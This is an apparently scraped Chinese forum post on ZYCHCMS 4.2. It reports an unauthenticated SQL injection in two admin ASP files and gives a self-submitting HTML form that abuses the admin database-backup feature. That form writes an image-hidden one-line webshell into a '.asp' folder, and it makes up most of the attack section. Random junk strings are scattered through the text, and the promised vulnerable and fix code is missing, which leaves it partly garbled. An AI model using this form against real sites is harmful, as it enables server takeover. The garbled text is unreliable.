ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

- A5 A6 K$ q3 u5 j: W

影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
" f, L1 T* r! R- m! Q1 l ①SQL注射漏洞
. c! J' B. ^6 [+ K, K7 U, ~ 漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
漏洞原因：未过滤
漏洞代码：
! q& ~) m9 R/ f( {& n" v; u2 A 都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
修复方法：在文件开头加入代码

3 `! W, w7 [5 a4 t. J3 W) Q
②后台拿WBSHELL
8 H- t3 `8 @. I+ M' u 进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
这里在网上找了一个，改了下，将就着用。
以下是代码本地提交代码
  {+ F+ O& `* J& Z; g- @$ U( e
: V/ c3 Z0 C) Q* M& B& X
# ]: y) l7 g- V<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
<tr>
" @" o7 F: j% }" u% g3 h) W; s <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
</tr>
<tr>
4 h+ L; N: n. l+ }# b% R2 j% a <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
</span>
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
<div align=”left”>
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
<!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
0 n* j% n+ _$ P3 W' S <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
( q$ P% F. u1 |5 \' N: O# y. A </div></td>
</tr>
' t& z! b9 K' C" f. O <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
<td class=”td”><div align=”left”>
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
[如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
! }+ r: }3 j& U1 T+ t# {1 p/ u </tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
<td class=”td”><div align=”left”>
3 ?# Z. V6 D7 Y! L <input type=”submit” value=”确定备份” class=”btn”
</div></td>
* R3 ?1 q- v  K5 c& Z- S+ W& ~ </tr>
1 O# D; }+ @0 q( k, _ </table></td></tr></form>
</table>
& B# e1 t0 L4 f. i) R4 x; F </td>
</tr>
$ M* C; m+ ^7 R  I( u( Q </table>
<script>
document.all.add.submit();
# Z/ T4 e! Z, N2 |4 P </script>


0 K2 r4 j% N- I& e  _( W





' \9 C$ S! Y4 {8 V! t* T' }( r' q
3 B# H; l0 N! k3 T
' x3 {7 Q. F$ Y4 }3 h3 A5 d1 {9 n